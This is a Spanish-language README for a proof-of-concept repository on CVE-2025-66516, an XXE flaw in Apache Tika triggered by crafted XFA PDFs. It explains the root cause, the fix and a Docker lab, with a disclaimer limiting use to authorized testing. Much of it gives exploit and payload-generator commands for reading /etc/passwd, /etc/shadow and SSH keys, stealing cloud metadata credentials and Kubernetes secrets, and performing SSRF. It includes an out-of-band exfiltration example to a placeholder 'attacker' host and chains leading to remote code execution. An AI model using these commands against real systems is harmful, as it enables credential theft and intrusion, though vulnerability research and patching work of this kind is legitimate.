
CVE-2025-66516 exploit funcional, escáner, explicación.
CVE-2025-66516 es una vulnerabilidad crítica de inyección de XML External Entity (XXE) en Apache Tika con una puntuación CVSS de 10.0 (severidad máxima). La vulnerabilidad permite a atacantes remotos leer archivos arbitrarios, realizar Server-Side Request Forgery (SSRF) y exfiltrar datos sensibles mediante la subida de un documento PDF especialmente diseñado que contiene contenido XFA (XML Forms Architecture) malicioso.
| Atributo | Valor |
|---|---|
| ID CVE | CVE-2025-66516 |
| Puntuación CVSS | 10.0 (Crítica) |
| Divulgado | 4 de diciembre de 2025 |
| Vendedor | Apache Software Foundation |
| Producto afectado | Apache Tika |
| Vector de ataque | Red (Remoto) |
| Autenticación | No Requerida |
| Componente | Versiones Vulnerables | Versión Corregida |
|---|---|---|
| tika-core | 1.13 - 3.2.1 | 3.2.2+ |
| tika-parser-pdf-module | 2.0.0 - 3.2.1 | 3.2.2+ |
| tika-parsers | 1.13 - 1.28.5 | 2.0.0+ |
Importante: Este CVE reemplaza a CVE-2025-54988, que identificó incorrectamente solo el módulo PDF como vulnerable. La vulnerabilidad real reside en tika-core.
La vulnerabilidad es un fallo de inyección de XML External Entity (XXE) en la forma en que Apache Tika procesa datos XFA (XML Forms Architecture) dentro de documentos PDF.
El Problema: Tika depende de analizadores XML de Java subyacentes (específicamente un analizador StAX) para leer contenido XML XFA. Las versiones vulnerables no configuraron correctamente el analizador para deshabilitar la resolución de entidades externas. Cuando el analizador encuentra una solicitud de entidad externa (como SYSTEM "file:///etc/passwd"), la resuelve y devuelve el contenido del archivo.
Ubicación: El error existe en XMLReaderUtils.getXMLInputFactory() en tika-core:
public static XMLInputFactory getXMLInputFactory() {
XMLInputFactory factory = XMLInputFactory.newFactory();
tryToSetStaxProperty(factory, XMLInputFactory.IS_NAMESPACE_AWARE, true);
tryToSetStaxProperty(factory, XMLInputFactory.IS_VALIDATING, false);
factory.setXMLResolver(IGNORING_STAX_ENTITY_RESOLVER); // <-- Ineficaz
return factory;
}
IGNORING_STAX_ENTITY_RESOLVER tenía la intención de bloquear XXE devolviendo un resultado vacío, pero devolvía un String en lugar del InputStream esperado. El analizador StAX predeterminado del JDK ignoró silenciosamente este tipo de retorno incorrecto y recurrió al comportamiento predeterminado, que resuelve entidades externas.
La corrección deshabilita explícitamente el soporte de DTD y entidades externas a nivel de fábrica:
tryToSetStaxProperty(factory, XMLInputFactory.SUPPORT_DTD, false);
tryToSetStaxProperty(factory, XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
Además, el resolvedor se cambió para devolver un tipo InputStream adecuado.
En el ecosistema Java, existen múltiples bibliotecas de analizadores XML. Las aplicaciones utilizan el analizador que esté configurado o que se encuentre primero en el classpath.
¿Qué es Woodstox? Woodstox es un analizador XML StAX de alto rendimiento y código abierto, comúnmente incluido en aplicaciones Java.
Cómo proporciona protección: Por diseño (no por accidente), la implementación de Woodstox maneja correctamente el tipo de retorno de XMLResolver. Cuando Woodstox recibe el valor de cadena devuelto por IGNORING_STAX_ENTITY_RESOLVER, lo trata como contenido vacío válido, bloqueando efectivamente el XXE.
Distinción crítica:
tika-server-standard.jar incluye Woodstox - NO VULNERABLEtika-core + módulos de analizadores (uso embebido) NO incluye Woodstox - VULNERABLE# 1. Iniciar el entorno de laboratorio
docker-compose up -d --build
# 2. Probar contra Tika vulnerable (JDK StAX, puerto 9997)
python poc/exploit.py --url http://localhost:9997 --check
# 3. Extraer /etc/passwd
python poc/exploit.py --url http://localhost:9997 --file /etc/passwd
# 4. Comparar con Tika protegido (Woodstox, puerto 9998)
python poc/exploit.py --url http://localhost:9998 --check
CVE-2025-66516/
|-- docker-compose.yml # Orquestación del laboratorio
|-- vulnerable-tika/
| |-- Dockerfile # Tika con Woodstox (protegido)
| +-- Dockerfile.jdk-stax # Tika sin Woodstox (VULNERABLE)
|-- webapp/
| |-- Dockerfile
| |-- app.py # Aplicación Flask de subida
| +-- templates/
|-- poc/
| |-- exploit.py # Herramienta de explotación automatizada
| +-- generate_payload.py # Generador de PDF malicioso
+-- README.md
docker-compose up -d --build
exploit.py)Explotación de cadena completa con generación automática de payload y extracción de datos.
# Verificar si el objetivo es vulnerable
python poc/exploit.py --url http://target:9998 --check
# Leer archivos locales
python poc/exploit.py --url http://target:9998 --file /etc/passwd
python poc/exploit.py --url http://target:9998 --file /etc/shadow
# Robo de metadatos AWS (instancias EC2)
python poc/exploit.py --url http://target:9998 --aws-metadata
# Secretos de Kubernetes
python poc/exploit.py --url http://target:9998 --k8s-secrets
# SSRF a servicios internos
python poc/exploit.py --url http://target:9998 --ssrf http://internal:8080/admin
# Guardar datos extraídos
python poc/exploit.py --url http://target:9998 --file /etc/passwd --save loot.txt
generate_payload.py)Genera archivos PDF maliciosos para pruebas manuales o integración con otras herramientas.
# Generar payload para un archivo específico
python poc/generate_payload.py --target /etc/passwd --output exploit.pdf
# Generar payload SSRF
python poc/generate_payload.py --target http://169.254.169.254/latest/meta-data/ --output ssrf.pdf
# Generar payload de exfiltración OOB
python poc/generate_payload.py --target /etc/passwd --callback http://attacker:8080 --output oob.pdf
# Usar modos de ataque predefinidos
python poc/generate_payload.py --mode aws_metadata --output aws.pdf
python poc/generate_payload.py --mode k8s_secrets --all-targets --output ./payloads/
# Listar modos de ataque disponibles
python poc/generate_payload.py --list-modes
Modos de Ataque Disponibles:
file_read - Leer archivos locales (/etc/passwd, /etc/shadow, etc.)ssh_keys - Robar claves privadas SSHaws_metadata - Metadatos de AWS EC2 y credenciales IAMgcp_metadata - Tokens de cuentas de servicio GCPazure_metadata - Tokens de identidad administrada de Azurek8s_secrets - Credenciales de cuentas de servicio de Kuberneteswebapp_configs - Configuraciones comunes de aplicaciones webssrf_internal - Sondear servicios internosPruebas contra Tika 2.9.2 sin Woodstox (simulando despliegues embebidos):
| Prueba | Resultado |
|---|---|
| Detección de XFA | [PASS] PDF reconocido como con XFA |
| Análisis de XFA | [PASS] Contenido XFA extraído |
| Lectura de archivo XXE | [VULNERABLE] Contenido de /etc/passwd exfiltrado |
| SSRF XXE | [VULNERABLE] Solicitudes externas enviadas |
Prueba de Explotación:
<li fieldName="data">data: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
Pruebas contra Tika 2.9.2 con Woodstox (tika-server-standard.jar estándar):
| Prueba | Resultado |
|---|---|
| Detección de XFA | [PASS] PDF reconocido como con XFA |
| Análisis de XFA | [PASS] Contenido XFA extraído |
| Lectura de archivo XXE | [BLOQUEADO] Entidades externas no resueltas |
| SSRF XXE | [BLOQUEADO] Sin conexiones salientes |
Salida muestra entidad vacía:
<li fieldName="data">data: </li>
La vulnerabilidad es real y crítica. La explotación depende de la implementación de StAX:
tika-server-standard.jar - Woodstox incluido bloquea XXEXXE es fundamentalmente una vulnerabilidad de lectura de archivos/SSRF, no un RCE directo. Sin embargo, habilita varias rutas de ataque:
| Ataque | Ejemplo de Payload |
|---|---|
| Lectura de archivo | SYSTEM "file:///etc/passwd" |
| SSRF | SYSTEM "http://internal:8080/admin" |
| Metadatos AWS | SYSTEM "http://169.254.169.254/latest/meta-data/" |
| Escenario | Ruta de Ataque |
|---|---|
| AWS EC2 | XXE -> SSRF a metadatos -> Credenciales IAM -> AWS CLI RCE |
Actualizar Apache Tika a la versión 3.2.2 o posterior
<dependency>
<groupId>org.apache.tika</groupId>
<artifactId>tika-core</artifactId>
<version>3.2.2</version>
</dependency>
Verificar que todos los componentes de Tika estén actualizados (tika-core Y módulos de analizadores)
| Tipo de Despliegue | Nivel de Riesgo |
|---|---|
| tika-server-standard.jar | BAJO - Woodstox mitiga |
| Tika embebido (uso como biblioteca) | ALTO - Probablemente vulnerable |
| Personalizado sin Woodstox | ALTO - Vulnerable |
Problema 1: El exploit inicial no funcionó
Problema 2: Error de múltiples declaraciones XML
WstxParsingException: Illegal processing instruction target ("xml")Problema 3: El misterio de Woodstox
Problema 4: Pruebas con la configuración incorrecta
| Fecha | Evento |
|---|---|
| Agosto 2025 | CVE-2025-54988 divulgado (alcance incompleto) |
| 4 de diciembre de 2025 | CVE-2025-66516 publicado (alcance completo identificado) |
| 4 de diciembre de 2025 | Apache Tika 3.2.2 lanzado con corrección |
Este entorno de laboratorio y código de prueba de concepto se proporcionan únicamente para pruebas de seguridad autorizadas, fines educativos e investigación defensiva.
No utilice estas herramientas contra sistemas sin autorización explícita por escrito.
Este material de investigación se proporciona con fines educativos. Úselo responsablemente.
| Servicio | Puerto | Descripción |
|---|
| Aplicación Web | 8080 | Frontend de subida de documentos |
| Tika (Woodstox) | 9998 | Protegido - NO vulnerable |
| Tika (JDK StAX) | 9997 | VULNERABLE - Sin Woodstox |
| Oyente Atacante | 9999 | Servidor HTTP para pruebas OOB |
| Kubernetes | XXE -> Leer token de cuenta de servicio -> kubectl exec |
| Jenkins interno | XXE -> SSRF a consola de scripts -> Groovy RCE |
| Base de datos | XXE -> Leer archivos de configuración -> Acceso a base de datos |
| SSH | XXE -> Leer claves SSH -> Acceso remoto a shell |